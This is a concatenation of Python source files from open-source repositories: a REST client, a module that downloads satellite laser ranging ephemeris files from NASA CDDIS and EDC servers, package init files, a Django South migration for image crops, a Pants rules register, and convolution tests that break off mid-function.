sync(self, json_data, uri=None, select_clause=None): if uri is None: uri = self.conn.url+"/os/"+self.name.lower() headers = {'x-method-override': 'SYNC'} if select_clause is not None: headers['properties'] = select_clause.to_string() resp = self.conn.do_post(uri, params={}, headers=headers, data=json_data) if resp.status_code>=400: raise Exception(resp.json()["Error"]["message"]) return resp.json() def delete(self, uri): if uri is None: raise Exception("missing uri") headers = {'x-method-override': 'DELETE'} resp = self.conn.do_post(uri, params={}, headers=headers) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) return resp def bulk(self, json_data, uri=None, select_clause=None): if uri is None: raise Exception("missing uri") headers = {} if select_clause is not None: headers['properties'] = select_clause.to_string() headers['x-method-override'] = 'BULK' resp = self.conn.do_post(uri, params={}, headers=headers, data=json_data) if resp.status_code>=400: raise Exception(resp.json()["Error"]["message"]) return resp.json() def sys_get_action(self, action_name, uri=None, params=None): if uri is None: uri = self.conn.url+"/os/"+self.name.lower() headers = {} params = {'action': action_name} resp = self.conn.do_get(uri, params=params, headers=headers) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) return resp.text() def sys_post_action(self, action_name, data=None, uri=None, params=None): if uri is None: uri = self.conn.url+"/os/"+self.name.lower() headers = {} params = {'action': action_name} resp = self.conn.do_post(uri, params=params, headers=headers, data=data) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) return resp.text() def invoke_method(self, action_name, data=None, uri=None, params=None): if uri is None: # uri = self.conn.url+"/os/"+self.name.lower() uri = data['href'] headers = {'x-method-override': 'PATCH', 'patchtype': 'MERGE', 'content-type': 'application/json'} action = 'wsmethod:'+str(action_name) params = {'action': action} resp = self.conn.do_post(uri, params=params, headers=headers, data=data) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) if resp.json is not None: return resp.json() return resp def new(self, uri=None, select_clause=None): if uri is None: uri = self.conn.url+"/os/"+self.name.lower() headers = {} if select_clause is not None: headers['properties'] = select_clause.to_string() params = {'action': "new"} resp = self.conn.do_get(uri, params=params, headers=headers) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) return resp.json() def duplicate(self, uri, select_clause=None): if uri is None: raise Exception("missing uri") headers = {} if select_clause is not None: headers['properties'] = select_clause.to_string() params = {'action': "duplicate"} resp = self.conn.do_get(uri, params=params, headers=headers) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) return resp.json()

37.024096

123

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0.043118

0.779981

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0.737055

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py

Python

slrfield/cpf/cpf_download.py

lcx366/SLRfield

7eb70efa30043406b105b78e2612689326c77f7c

[ "MIT" ]

2

2020-04-21T08:57:49.000Z

2020-08-19T11:34:24.000Z

slrfield/cpf/cpf_download.py

lcx366/SLRfield

7eb70efa30043406b105b78e2612689326c77f7c

[ "MIT" ]

1

2021-03-14T00:56:53.000Z

2021-06-03T02:03:10.000Z

slrfield/cpf/cpf_download.py

lcx366/SLRfield

7eb70efa30043406b105b78e2612689326c77f7c

[ "MIT" ]

2

2020-08-19T11:34:27.000Z

2022-03-11T02:42:06.000Z

from os import system,path,makedirs from pathlib import Path from ftplib import FTP import requests from bs4 import BeautifulSoup from astropy.time import Time from ..utils.try_download import tqdm_ftp,tqdm_request def download_bycurrent(source,satnames,append=False): """ Download the latest CPF ephemeris files at the current moment. Usage: server,dir_cpf_from, dir_cpf_to,cpf_files = download_bycurrent('CDDIS') server,dir_cpf_from, dir_cpf_to,cpf_files = download_bycurrent('EDC') server,dir_cpf_from, dir_cpf_to,cpf_files = download_bycurrent('CDDIS',lageos1') server,dir_cpf_from, dir_cpf_to,cpf_files = download_bycurrent('EDC',['ajisai','lageos1','hy2a']) Inputs: source -> [str] source for CPF ephemeris files. Currently, only 'CDDIS' and 'EDC' are available. satnames -> [str, str list, or None] target name or list of target names. If None, then all feasible targets at the current moment will be downloaded. Parameters: append -> [Bool, default = False] If False, clear the data storage directory ahead of requesting CPF files. If True, then keep the data storage directory. Outputs: server -> [str] server for downloading CPF ephemeris files. Currently, only 'cddis.nasa.gov' and 'edc.dgfi.tum.de' are available. dir_cpf_from -> [str] directory for storing CPF ephemeris files in remote server. dir_cpf_to -> [str] user's local directory for storing CPF ephemeris files cpf_files -> [str list] list of CPF ephemeris files """ cpf_files = [] date = Time.now().iso dir_cpf_to = 'CPF/'+source+'/'+date[:10] + '/' if not path.exists(dir_cpf_to): makedirs(dir_cpf_to) else: if not append: system('rm -rf %s/*' % dir_cpf_to) if source == 'CDDIS': server = 'https://cddis.nasa.gov' dir_cpf_from = '/archive/slr/cpf_predicts/current/' cpf_files_dict,cpf_files_list = get_cpf_filelist(server,dir_cpf_from,'bycurrent') elif source == 'EDC': server = 'edc.dgfi.tum.de' dir_cpf_from = '~/slr/cpf_predicts//current/' ftp = FTP(server,timeout=200) ftp.login() ftp.cwd(dir_cpf_from) cpf_files_list = ftp.nlst('-t','*cpf*') # list files containing 'cpf' from newest to oldest ftp.quit() ftp.close() else: raise Exception("Currently, for CPF prediction centers, only 'CDDIS' and 'EDC' are available.") if satnames is None: reduplicates = set([cpf_file.split('_')[0] for cpf_file in cpf_files_list]) # remove duplicates elif type(satnames) is str: reduplicates = [satnames] elif type(satnames) is list: reduplicates = satnames else: raise Exception('Type of satnames should be str or list.') for cpf_file in cpf_files_list: satname = cpf_file.split('_')[0] if satname in reduplicates: cpf_files.append(cpf_file) reduplicates.remove(satname) if reduplicates == []: break return server,dir_cpf_from, dir_cpf_to,cpf_files def download_bydate(source,date,satnames,append=False): """ Download the latest CPF ephemeris files before a specific time. Usage: server,dirs_cpf_from, dir_cpf_to,cpf_files = download_bydate('CDDIS','2007-06-01 11:30:00',['ajisai','lageos1','hy2a']) server,dirs_cpf_from, dir_cpf_to,cpf_files = download_bycurrent('EDC','2017-12-20 05:30:00','hy2a']) Inputs: source -> [str] source for CPF ephemeris files. Currently, only 'CDDIS' and 'EDC' are available. date -> [str] 'iso-formatted' time, such as '2017-12-20 05:30:00'. It specifies a moment before which the latest CPF ephemeris files are downloaded. satnames -> [str, str list] target name or list of target names. Parameters: append -> [Bool, default = False] If False, clear the data storage directory ahead of requesting CPF files. If True, then keep the data storage directory. Outputs: server -> [str] server for downloading CPF ephemeris files. Currently, only 'cddis.nasa.gov' and 'edc.dgfi.tum.de' are available. dir_cpf_from -> [str] directory for storing CPF ephemeris files in remote server. dir_cpf_to -> [str] user's local directory for storing CPF ephemeris files cpf_files -> [str list] list of CPF ephemeris files """ if satnames is None: raise Exception("satnames must be provided.") elif type(satnames) is str: reduplicates = [satnames] elif type(satnames) is list: reduplicates = satnames else: raise Exception('Type of satname should be str or list.') dirs_cpf_from,cpf_files = [],[] date_dir = date[:4] date_str1 = Time(date).strftime('%y%m%d') date_str2 = (Time(date)-7).strftime('%y%m%d') # ephemeris updates for some high-orbit satellites may take several days date_str = Time(date).strftime('%Y%m%d%H%M%S') dir_cpf_to = 'CPF/'+source+'/'+ date[:10] + '/' if not path.exists(dir_cpf_to): makedirs(dir_cpf_to) else: if not append: system('rm -rf %s/*' % dir_cpf_to) if source == 'CDDIS': server = 'https://cddis.nasa.gov' for satname in reduplicates: cpf_files_list_reduced = [] find_flag = False dir_cpf_from = '/archive/slr/cpf_predicts/' + date_dir + '/' + satname + '/' dirs_cpf_from.append(dir_cpf_from) cpf_files_dict,cpf_files_list = get_cpf_filelist(server,dir_cpf_from,'bydate') for cpf_file in cpf_files_list: cpf_file_date = cpf_file.split('_')[2] if date_str2 <= cpf_file_date <= date_str1: cpf_files_list_reduced.append(cpf_file) if cpf_files_list_reduced: for cpf_file in cpf_files_list_reduced: # get the latest modification time for cpf files modified_time = cpf_files_dict[cpf_file] # modify the time format from '2020:09:20 05:30:11' to '20200920053011' for chara in [':',' ']: modified_time = modified_time.replace(chara,'') if modified_time < date_str: find_flag = True cpf_files.append(cpf_file) break if not find_flag and date_str2[:2]>='05': cpf_files_list_reduced = [] dirs_cpf_from.remove(dir_cpf_from) dir_cpf_from = '/archive/slr/cpf_predicts/' + '20'+date_str2[:2] + '/' + satname + '/' dirs_cpf_from.append(dir_cpf_from) cpf_files_dict,cpf_files_list = get_cpf_filelist(server,dir_cpf_from,'bydate') for cpf_file in cpf_files_list: cpf_file_date = cpf_file.split('_')[2] if date_str2 <= cpf_file_date <= date_str1: cpf_files_list_reduced.append(cpf_file) for cpf_file in cpf_files_list_reduced: # get the latest modification time for cpf files modified_time = cpf_files_dict[cpf_file] # modify the time format from '2020:09:20 05:30:11' to '20200920053011' for chara in [':',' ']: modified_time = modified_time.replace(chara,'') if modified_time <= date_str: cpf_files.append(cpf_file) break elif source == 'EDC': server = 'edc.dgfi.tum.de' ftp = FTP(server,timeout=200) ftp.login() for satname in reduplicates: cpf_files_list_reduced = [] find_flag = False dir_cpf_from = '~/slr/cpf_predicts//' + date_dir + '/' + satname + '/' dirs_cpf_from.append(dir_cpf_from) ftp.cwd(dir_cpf_from) cpf_files_list = ftp.nlst('-t','*cpf*') # list files containing 'cpf' from newest to oldest for cpf_file in cpf_files_list: cpf_file_date = cpf_file.split('_')[2] if date_str2 <= cpf_file_date <= date_str1: cpf_files_list_reduced.append(cpf_file) if cpf_files_list_reduced: for cpf_file in cpf_files_list_reduced: # get the latest modification time for cpf files modified_time = ftp.voidcmd('MDTM ' + cpf_file).split()[1] if modified_time < date_str: find_flag = True cpf_files.append(cpf_file) break if not find_flag and date_str2[:2]>='05': cpf_files_list_reduced = [] dirs_cpf_from.remove(dir_cpf_from) dir_cpf_from = '~/slr/cpf_predicts//' + '20'+date_str2[:2] + '/' + satname + '/' dirs_cpf_from.append(dir_cpf_from) ftp.cwd(dir_cpf_from) cpf_files_list = ftp.nlst('-t','*cpf*') # list files containing 'cpf' from newest to oldest for cpf_file in cpf_files_list: cpf_file_date = cpf_file.split('_')[2] if date_str2 <= cpf_file_date <= date_str1: cpf_files_list_reduced.append(cpf_file) for cpf_file in cpf_files_list_reduced: # get the latest modification time for cpf files modified_time = ftp.voidcmd('MDTM ' + cpf_file).split()[1] if modified_time <= date_str: cpf_files.append(cpf_file) break ftp.quit() ftp.close() else: raise Exception("Currently, CPF predictions only from 'CDDIS' and 'EDC' are available.") return server,dirs_cpf_from, dir_cpf_to,cpf_files def cpf_download_prior(satnames = None,date = None,source = 'CDDIS',append=False): """ Download the latest CPF ephemeris files. Usage: dir_cpf_files = cpf_download() dir_cpf_files = cpf_download(source = 'EDC') dir_cpf_files = cpf_download('lageos1') dir_cpf_files = cpf_download('ajisai','2007-06-01 11:30:00') dir_cpf_files = cpf_download(['ajisai','lageos1','hy2a'],'2007-06-01 11:30:00','EDC') Parameters: satnames -> [str, str list, or None, default = None] target name or list of target names. If None, then all feasible targets at the current moment will be downloaded. In this case, 'date' must also be None. date -> [str or None, default = None] 'iso-formatted' time, such as '2017-12-20 05:30:00'. It specifies a moment before which the latest CPF ephemeris files are downloaded. If None, then all feasible targets or targets in list at the current moment will be downloaded. source -> [str, default = 'CDDIS'] source for CPF ephemeris files. Currently, only 'CDDIS' and 'EDC' are available. append -> [Bool, default = False] If False, clear the data storage directory ahead of requesting CPF files. If True, then keep the data storage directory. Outputs: dir_cpf_files -> [str list] list of paths for CPF ephemeris files in user's local directory missing_cpf_files -> [str list or None] if not None, it lists files that are not responsed from the server Note: if 'date' is provided, namely not None, then 'satnames' must also be provided. """ if source == 'CDDIS': # Need to create an Earthdata login account at https://urs.earthdata.nasa.gov/ # Create a .netrc file in the home directory home = str(Path.home()) if not path.exists(home+'/.netrc'): uid = input('Please input the Username for your EARTHDATA login account(which can be created at https://urs.earthdata.nasa.gov/): ') passwd = input('Please input the Password: ') netrc_file = open(home+'/.netrc','w') netrc_file.write('machine urs.earthdata.nasa.gov login '+uid+' password '+passwd) netrc_file.close() dir_cpf_files,missing_cpf_files = [],[] if date is None: server,dir_cpf_from, dir_cpf_to,cpf_files = download_bycurrent(source,satnames,append) if source == 'CDDIS': for cpf_file in cpf_files: url = server+dir_cpf_from+cpf_file desc = 'Downloading {:s}'.format(cpf_file) missing_cpf_file = tqdm_request(url,dir_cpf_to,cpf_file,desc) if missing_cpf_file is not None: missing_cpf_files.append(missing_cpf_file) dir_cpf_files.append(dir_cpf_to+cpf_file) if source == 'EDC': ftp = FTP(server,timeout=200) ftp.login() ftp.cwd(dir_cpf_from) for cpf_file in cpf_files: desc = 'Downloading {:s}'.format(cpf_file) missing_cpf_file = tqdm_ftp(ftp,dir_cpf_to,cpf_file,desc) if missing_cpf_file is not None: missing_cpf_files.append(missing_cpf_file) dir_cpf_files.append(dir_cpf_to+cpf_file) ftp.quit() ftp.close() else: server,dirs_cpf_from, dir_cpf_to,cpf_files = download_bydate(source,date,satnames,append) if source == 'CDDIS': for dir_cpf_from,cpf_file in zip(dirs_cpf_from,cpf_files): url = server+dir_cpf_from+cpf_file desc = 'Downloading {:s}'.format(cpf_file) missing_cpf_file = tqdm_request(url,dir_cpf_to,cpf_file,desc) if missing_cpf_file is not None: missing_cpf_files.append(missing_cpf_file) dir_cpf_files.append(dir_cpf_to+cpf_file) if source == 'EDC': ftp = FTP(server,timeout=200) ftp.login() for dir_cpf_from,cpf_file in zip(dirs_cpf_from,cpf_files): ftp.cwd(dir_cpf_from) desc = 'Downloading {:s}'.format(cpf_file) missing_cpf_file = tqdm_ftp(ftp,dir_cpf_to,cpf_file,desc) if missing_cpf_file is not None: missing_cpf_files.append(missing_cpf_file) dir_cpf_files.append(dir_cpf_to+cpf_file) ftp.quit() ftp.close() return dir_cpf_files,missing_cpf_files def cpf_download(satnames = None,date = None,source = 'CDDIS',append=False): """ Download the latest CPF ephemeris files. Usage: dir_cpf_files = cpf_download() dir_cpf_files = cpf_download(source = 'EDC') dir_cpf_files = cpf_download('lageos1') dir_cpf_files = cpf_download('ajisai','2007-06-01 11:30:00') dir_cpf_files = cpf_download(['ajisai','lageos1','hy2a'],'2007-06-01 11:30:00','EDC') Parameters: satnames -> [str, str list, or None, default = None] target name or list of target names. If None, then all feasible targets at the current moment will be downloaded. In this case, 'date' must also be None. date -> [str or None, default = None] 'iso-formatted' time, such as '2017-12-20 05:30:00'. It specifies a moment before which the latest CPF ephemeris files are downloaded. If None, then all feasible targets or targets in list at the current moment will be downloaded. source -> [str, default = 'CDDIS'] source for CPF ephemeris files. Currently, only 'CDDIS' and 'EDC' are available. append -> [Bool, default = False] If False, clear the data storage directory ahead of requesting CPF files. If True, then keep the data storage directory. Outputs: dir_cpf_files -> [str list] list of paths for CPF ephemeris files in user's local directory Note: if 'date' is provided, namely not None, then 'satnames' must also be provided. """ cpf_files_downloaded, cpf_files_missed = cpf_download_prior(satnames,date,source,append) if cpf_files_missed: cpf_files_downloaded2, cpf_files_missed2 = cpf_download_prior(cpf_files_missed,append=True) cpf_files_downloaded += cpf_files_downloaded2 return cpf_files_downloaded def get_cpf_filelist(server,dir_cpf_from,mode): """ Generate CDDIS CPF files list sorted by date from the latest to the oldest. """ res = requests.get(server + dir_cpf_from) soup = BeautifulSoup(res.text, 'html.parser') # extract time infomation time_info = soup.find_all('span') if mode == 'bycurrent': time_list = [ele.get_text().split(' ')[0] for ele in time_info][2:] # Remove two extra items elif mode == 'bydate': time_list = [ele.get_text().split(' ')[0] for ele in time_info] n_time_list = len(time_list) # extract filename infomation filename_info = soup.find_all('a') cpf_files_list_unsort = [ele.get_text() for ele in filename_info if '_cpf_' in ele.get_text()] n_cpf_files_list_unsort = len(cpf_files_list_unsort) if n_time_list != n_cpf_files_list_unsort: raise Exception('Timestamp and CPF files are not matched!') cpf_files_dict = dict(zip(cpf_files_list_unsort,time_list)) cpf_files_turple = sorted(cpf_files_dict.items(), key=lambda x: x[1],reverse=True) # Sort by release time cpf_files_list = [ele[0] for ele in cpf_files_turple] res.close() return cpf_files_dict, cpf_files_list

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6d285fb31d15b7c8feacb3f868aa927b5dc68f33

151

py

Python

code/models/__init__.py

Bhaskers-Blu-Org1/knowledge-enabled-textual-entailment

be0741c94d734780536e549700509cf1aabcab66

[ "Apache-2.0" ]

42

2018-08-28T09:05:41.000Z

2021-08-02T16:42:14.000Z

code/models/__init__.py

SocioProphet/knowledge-enabled-textual-entailment

be0741c94d734780536e549700509cf1aabcab66

[ "Apache-2.0" ]

6

2019-01-17T02:34:04.000Z

2021-06-01T22:29:15.000Z

code/models/__init__.py

SocioProphet/knowledge-enabled-textual-entailment

be0741c94d734780536e549700509cf1aabcab66

[ "Apache-2.0" ]

13

2018-09-16T06:14:09.000Z

2021-06-08T19:56:31.000Z

from .decomp_attn import * from .simple_graph import * from .graph_n_text import * from .match_lstm import * from .deiste import * from .hbmp import *

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6d52a8525977285c73e0f9d7e5d31c1466902912

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py

Python

utils4ymc/Tools/__init__.py

Interesting6/utils4ymc

1fdac1acbcb12dafd374906fc80f9eb518670448

[ "MIT" ]

null

utils4ymc/Tools/__init__.py

Interesting6/utils4ymc

1fdac1acbcb12dafd374906fc80f9eb518670448

[ "MIT" ]

null

utils4ymc/Tools/__init__.py

Interesting6/utils4ymc

1fdac1acbcb12dafd374906fc80f9eb518670448

[ "MIT" ]

null

from .calculate import * from .file import *

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ede8d77213ff1de7ce0a843a46d75ba15fefc178

18

py

Python

part23/mylib/general/__init__.py

ThomasAlbin/SpaceScienceTutorial

9ca5c1340480a29a112dec91e075b7ee2eff38ed

[ "MIT" ]

167

2020-04-21T21:04:14.000Z

2022-03-29T15:07:52.000Z

part23/mylib/general/__init__.py

wellyington/SpaceScienceTutorial

9ca5c1340480a29a112dec91e075b7ee2eff38ed

[ "MIT" ]

11

2020-05-19T18:49:24.000Z

2021-06-08T01:51:29.000Z

part23/mylib/general/__init__.py

wellyington/SpaceScienceTutorial

9ca5c1340480a29a112dec91e075b7ee2eff38ed

[ "MIT" ]

41

2020-05-03T06:13:17.000Z

2022-02-12T17:32:51.000Z

from . import vec

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6127d79168b51f49af9dd1a5debb9cfb4228fad4

32

py

Python

wf_rdbms/__init__.py

WildflowerSchools/wf-rdbms-python

eb94019234dc1b4bb7d0675a5572f6aa3c9db945

[ "MIT" ]

null

wf_rdbms/__init__.py

WildflowerSchools/wf-rdbms-python

eb94019234dc1b4bb7d0675a5572f6aa3c9db945

[ "MIT" ]

null

wf_rdbms/__init__.py

WildflowerSchools/wf-rdbms-python

eb94019234dc1b4bb7d0675a5572f6aa3c9db945

[ "MIT" ]

null

from wf_rdbms.database import *

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py

Python

cropduster/migrations.borked/0001_initial.py

pbs/django-cropduster

de4bd375421c29bb80653a01aaf263f1a9e6e626

[ "BSD-2-Clause" ]

null

cropduster/migrations.borked/0001_initial.py

pbs/django-cropduster

de4bd375421c29bb80653a01aaf263f1a9e6e626

[ "BSD-2-Clause" ]

null

cropduster/migrations.borked/0001_initial.py

pbs/django-cropduster

de4bd375421c29bb80653a01aaf263f1a9e6e626

[ "BSD-2-Clause" ]

null

# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'SizeSet' db.create_table('cropduster_sizeset', ( ('slug', self.gf('django.db.models.fields.SlugField')(max_length=50, db_index=True)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=255, db_index=True)), )) db.send_create_signal('cropduster', ['SizeSet']) # Adding model 'Size' db.create_table('cropduster_size', ( ('name', self.gf('django.db.models.fields.CharField')(max_length=255, db_index=True)), ('aspect_ratio', self.gf('django.db.models.fields.FloatField')(default=1)), ('height', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True)), ('width', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True)), ('size_set', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['cropduster.SizeSet'])), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('auto_size', self.gf('django.db.models.fields.BooleanField')(default=False, blank=True)), ('slug', self.gf('django.db.models.fields.SlugField')(max_length=50, db_index=True)), )) db.send_create_signal('cropduster', ['Size']) # Adding model 'Crop' db.create_table('cropduster_crop', ( ('image', self.gf('django.db.models.fields.related.ForeignKey')(related_name='images', to=orm['cropduster.Image'])), ('crop_h', self.gf('django.db.models.fields.PositiveIntegerField')(default=0, null=True, blank=True)), ('crop_x', self.gf('django.db.models.fields.PositiveIntegerField')(default=0, null=True, blank=True)), ('crop_w', self.gf('django.db.models.fields.PositiveIntegerField')(default=0, null=True, blank=True)), ('crop_y', self.gf('django.db.models.fields.PositiveIntegerField')(default=0, null=True, blank=True)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('size', self.gf('django.db.models.fields.related.ForeignKey')(related_name='size', to=orm['cropduster.Size'])), )) db.send_create_signal('cropduster', ['Crop']) # Adding model 'Image' db.create_table('cropduster_image', ( ('caption', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True)), ('image', self.gf('django.db.models.fields.files.ImageField')(max_length=255, db_index=True)), ('attribution', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('size_set', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['cropduster.SizeSet'])), )) db.send_create_signal('cropduster', ['Image']) def backwards(self, orm): # Deleting model 'SizeSet' db.delete_table('cropduster_sizeset') # Deleting model 'Size' db.delete_table('cropduster_size') # Deleting model 'Crop' db.delete_table('cropduster_crop') # Deleting model 'Image' db.delete_table('cropduster_image') models = { 'cropduster.crop': { 'Meta': {'object_name': 'Crop'}, 'crop_h': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'crop_w': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'crop_x': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'crop_y': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'images'", 'to': "orm['cropduster.Image']"}), 'size': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'size'", 'to': "orm['cropduster.Size']"}) }, 'cropduster.image': { 'Meta': {'object_name': 'Image'}, 'attribution': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'caption': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '255', 'db_index': 'True'}), 'size_set': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cropduster.SizeSet']"}) }, 'cropduster.size': { 'Meta': {'object_name': 'Size'}, 'aspect_ratio': ('django.db.models.fields.FloatField', [], {'default': '1'}), 'auto_size': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'height': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'db_index': 'True'}), 'size_set': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cropduster.SizeSet']"}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50', 'db_index': 'True'}), 'width': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}) }, 'cropduster.sizeset': { 'Meta': {'object_name': 'SizeSet'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'db_index': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50', 'db_index': 'True'}) } } complete_apps = ['cropduster']

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b64485e4c97ec3e95f38471d03995014a5ecd2ca

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py

Python

plugins/plugin_vvc/__init__.py

AlysH/experiment-notebook

c6a40b1dd518814ccac50f83b3a09d59202b138e

[ "MIT" ]

null

plugins/plugin_vvc/__init__.py

AlysH/experiment-notebook

c6a40b1dd518814ccac50f83b3a09d59202b138e

[ "MIT" ]

null

plugins/plugin_vvc/__init__.py

AlysH/experiment-notebook

c6a40b1dd518814ccac50f83b3a09d59202b138e

[ "MIT" ]

null

from . import vvc_codec

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py

Python

src/python/pants/rules/core/register.py

fhaque/pants

cf74d6b788e28305fe342234a07ec5359ccbf2ce

[ "Apache-2.0" ]

null

src/python/pants/rules/core/register.py

fhaque/pants

cf74d6b788e28305fe342234a07ec5359ccbf2ce

[ "Apache-2.0" ]

null

src/python/pants/rules/core/register.py

fhaque/pants

cf74d6b788e28305fe342234a07ec5359ccbf2ce

[ "Apache-2.0" ]

null

# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from pants.rules.core import filedeps, list_roots, list_targets, test def rules(): return list_roots.rules() + list_targets.rules() + filedeps.rules() + test.rules()

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py

Python

scico/test/linop/test_convolve.py

lukepfister/scico

c849c4fa6089b99d9a4dec520c9a04cca426d2d7

[ "BSD-3-Clause" ]

null

scico/test/linop/test_convolve.py

lukepfister/scico

c849c4fa6089b99d9a4dec520c9a04cca426d2d7

[ "BSD-3-Clause" ]

null

scico/test/linop/test_convolve.py

lukepfister/scico

c849c4fa6089b99d9a4dec520c9a04cca426d2d7

[ "BSD-3-Clause" ]

null

import operator as op import numpy as np import jax import jax.scipy.signal as signal import pytest from scico.linop import Convolve, ConvolveByX, LinearOperator from scico.random import randn from scico.test.linop.test_linop import AbsMatOp, adjoint_AAt_test, adjoint_AtA_test class TestConvolve: def setup_method(self, method): self.key = jax.random.PRNGKey(12345) @pytest.mark.parametrize("input_dtype", [np.float32, np.complex64]) @pytest.mark.parametrize("input_shape", [(32,), (32, 48)]) @pytest.mark.parametrize("mode", ["full", "valid", "same"]) @pytest.mark.parametrize("jit", [False, True]) def test_eval(self, input_shape, input_dtype, mode, jit): ndim = len(input_shape) filter_shape = (3, 4)[:ndim] x, key = randn(input_shape, dtype=input_dtype, key=self.key) psf, key = randn(filter_shape, dtype=input_dtype, key=key) A = Convolve(h=psf, input_shape=input_shape, input_dtype=input_dtype, mode=mode, jit=jit) Ax = A @ x y = signal.convolve(x, psf, mode=mode) np.testing.assert_allclose(Ax.ravel(), y.ravel(), rtol=1e-4) @pytest.mark.parametrize("input_dtype", [np.float32, np.complex64]) @pytest.mark.parametrize("input_shape", [(32,), (32, 48)]) @pytest.mark.parametrize("mode", ["full", "valid", "same"]) @pytest.mark.parametrize("jit", [False, True]) def test_adjoint(self, input_shape, mode, jit, input_dtype): ndim = len(input_shape) filter_shape = (3, 4)[:ndim] x, key = randn(input_shape, dtype=input_dtype, key=self.key) psf, key = randn(filter_shape, dtype=input_dtype, key=key) A = Convolve(h=psf, input_shape=input_shape, input_dtype=input_dtype, mode=mode, jit=jit) adjoint_AtA_test(A, self.key) adjoint_AAt_test(A, self.key) class ConvolveTestObj: def __init__(self): dtype = np.float32 key = jax.random.PRNGKey(12345) self.psf_A, key = randn((3,), dtype=dtype, key=key) self.psf_B, key = randn((3,), dtype=dtype, key=key) self.psf_C, key = randn((5,), dtype=dtype, key=key) self.A = Convolve(input_shape=(32,), h=self.psf_A) self.B = Convolve(input_shape=(32,), h=self.psf_B) self.C = Convolve(input_shape=(32,), h=self.psf_C) # Matrix for a 'generic linop' m = self.A.output_shape[0] n = self.A.input_shape[0] G_mat, key = randn((m, n), dtype=dtype, key=key) self.G = AbsMatOp(G_mat) self.x, key = randn((32,), dtype=dtype, key=key) self.scalar = 3.141 @pytest.fixture def testobj(request): yield ConvolveTestObj() @pytest.mark.parametrize("operator", [op.mul, op.truediv]) def test_scalar_left(testobj, operator): A = operator(testobj.A, testobj.scalar) x = testobj.x B = Convolve(input_shape=(32,), h=operator(testobj.psf_A, testobj.scalar)) np.testing.assert_allclose(A @ x, B @ x, rtol=5e-5) @pytest.mark.parametrize("operator", [op.mul, op.truediv]) def test_scalar_right(testobj, operator): if operator == op.truediv: pytest.xfail("scalar / LinearOperator is not supported") A = operator(testobj.scalar, testobj.A) x = testobj.x B = Convolve(input_shape=(32,), h=operator(testobj.scalar, testobj.psf_A)) np.testing.assert_allclose(A @ x, B @ x, rtol=5e-5) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_convolve_add_sub(testobj, operator): A = testobj.A B = testobj.B C = testobj.C x = testobj.x # Two operators of same size AB = operator(A, B) ABx = AB @ x AxBx = operator(A @ x, B @ x) np.testing.assert_allclose(ABx, AxBx, rtol=5e-5) # Two operators of different size with pytest.raises(ValueError): operator(A, C) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_add_sub_different_mode(testobj, operator): # These tests get caught inside of the _wrap_add_sub input/output shape checks, # not the explicit mode check inside of the wrapped __add__ method B_same = Convolve(input_shape=(32,), h=testobj.psf_B, mode="same") with pytest.raises(ValueError): operator(testobj.A, B_same) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_add_sum_generic_linop(testobj, operator): # Combine a AbsMatOp and Convolve, get a generic LinearOperator AG = operator(testobj.A, testobj.G) assert isinstance(AG, LinearOperator) # Check evaluation a = AG @ testobj.x b = operator(testobj.A @ testobj.x, testobj.G @ testobj.x) np.testing.assert_allclose(a, b, rtol=5e-5) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_add_sum_conv(testobj, operator): # Combine a AbsMatOp and Convolve, get a generic LinearOperator AA = operator(testobj.A, testobj.A) assert isinstance(AA, Convolve) # Check evaluation a = AA @ testobj.x b = operator(testobj.A @ testobj.x, testobj.A @ testobj.x) np.testing.assert_allclose(a, b, rtol=5e-5) @pytest.mark.parametrize("operator", [op.mul, op.truediv]) def 